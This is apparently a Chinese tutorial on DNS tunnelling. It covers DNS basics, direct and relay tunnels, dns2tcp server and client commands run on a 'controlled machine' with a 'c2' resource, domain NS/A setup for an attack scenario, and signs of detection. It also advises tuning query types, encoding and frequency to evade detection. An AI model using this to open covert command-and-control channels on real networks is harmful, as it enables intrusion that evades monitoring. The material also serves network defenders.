简介
本片文章主要介绍如何使用DNS隧道对内网进行穿透,搭建隧道,使得外网机器可以直接访问内网主机,DNS隧道也是比较常见的搭建隧道的方式。
DNS基础
DNS简介
DNS协议主要就是用来在你访问主机域名的时候查询对应的IP地址并返回给你的协议,计算机是根据IP地址和MAC地址来进行通信的。通过DNS可以将域名(方便记忆)自动转换成IP地址来进行通信,这就是DNS的作用。
查询域名对应的IP地址只是DNS可以查询的记录的一种,常见的可查询记录类型如下
类型 | 内容 |
---|---|
A | 域名的IPv4 记录 |
AAAA | 域名的IPv6记录 |
CNAME | 别名记录,记录一个主机的别名 |
MX | 域名的邮件服务器的IP地址 |
NS | 域名服务器记录,记录该域名由哪台域名服务器解析 |
PTR | 反向记录,也即从IP地址到域名的一条记录 |
TXT | 记录域名的相关文本信息 |
* | 所有缓存的记录 |
DNS查询方式
直接查询(不推荐使用)
客户端直接查询某一个DNS 服务器。服务器返回结果,可能有记录,也可能没有。但是不管如何,DNS查询结束
递归查询
客户机向dns服务器发送请求,DNS服务器会使用一个准确的查询结果回复给客户机,如果DNS服务器本地没有储存查询的DNS信息,那么它会查询其他的DNS服务器,并将查询结果提交给客户机
迭代查询
客户机向dns服务器发送请求,如果该服务器本地没有储存查询的DNS信息,那么它会告诉客户机另一台DNS服务器的地址,客户机在向这台DNS服务器查询DNS信息,依次循环直到返回结果
其中递归和迭代主要就是看活的谁干的,递归查询是有域名服务器去实现递归查询,然后吧结果给客户机,迭代就是自己干这个活。
DNS隧道
原理
DNS隧道就是将需要传输的内容封装到DNS数据包中,然后进行解析即可得到对应的内容,实现数据传输的目的。当前网络世界中的DNS是一项必不可少的服务,所以防火墙和入侵检测设备处于可用性和用户友好的考虑大都不会过滤DNS流量,也为DNS成为隐蔽信道创造了条件.
DNS隧道依据其实现方式大致可分为直连和中继两类。
直连
用户端直接和指定的目标DNS服务器建立连接,然后将需要传输的数据编码封装在DNS协议中进行通信。这种方式的优点是具有较高速度,但蔽性弱、易被探测追踪的缺点也很明显。另外直连方式的限制比较多,如目前很多的企业网络为了尽可能的降低遭受网络攻击的风险,一般将相关策略配置为仅允许与指定的可信任DNS服务器之间的流量通过。
中继
通过DNS迭代查询而实现的中继DNS隧道,这种方式及其隐秘,且可在绝大部分场景下部署成功。但由于数据包到达目标DNS服务器前需要经过多个节点的跳转,数据传输速度和传输能力较直连会慢很多。
工具使用
dns2tcp
/etc/dns2tcpd.conf
- listen 主机监听的端口
- port 主机监听的端口
- domain 你要是使用的域名,局域网可以随意填写
- resources官方解释时服务端的对应使用的资源,就是对应的服务器一级在本地监听的端口
服务端执行
dns2tcpd -f /etc/dns2tcpd.conf -F -d 2
-f:指定配置文件启动
-F:指定dns2tcp工具运行在前台
-d:指定调试日志打印等级
被控机器执行
./dns2tcpc.exe -r c2 -z your.aaatest.com 192.168.220.129 -l 5353 -d 2
-r:指定要使用的服务端配置的资源对应的名
-z:配置为建立DNS隧道使用的域名
-l:指定隧道客户端监听的本地端口
-d:作用同服务端,输出2级调试信息
ps:命令中的IP地址为指定目标DNS服务器,也可以是DNS服务器的域名,因为本次实验是自己搭建的环境因此将无法像正常域名解析那样进行寻址,所以要指定域名服务器。 所以也可以在不申请域名的情况下,也可以通过设置进行直连。
完整攻击场景中需要的配置
在域名注册商的域名设置里添加一条子域名的NS记录和一条A记录,如:
其中NS记录的记录值对应的域名必须配置A记录。以上配置的理解是:所有关于dnsc2.example.com及其子域名都由dns.example.com的DNS服务器负责解析,且其对应IP地址为1.2.3.4。检测配置是否成功可以使用任意的主机使用nslookup dns.example.com查看是否成功得到1.2.3.4的查询结果。
目前看来dns 隧道有点鸡肋的感觉,因为只能由被控端发起请求嘛
可以配合 Empire 来使用,参考:https://www.freebuf.com/articles/network/284740.html
检测
异常行为
对同一域名及其子域名的请求频次过于频繁
在大数据量传输时,DNS数据包很大,占用带宽较高
可以截获数据包分析,有明显编码特征,而且时非正常DNS数据包
真实攻防环境下,可以在此基本原理基础上进行改进后部署,如利用的DNS查询类型、编码后传输、限制交互频率等。
参考
https://blog.csdn.net/weixin_44331422/article/details/119176285
https://blog.csdn.net/qq_40390383/article/details/89005979
https://www.freebuf.com/articles/network/284740.html
https://www.freebuf.com/articles/network/208242.html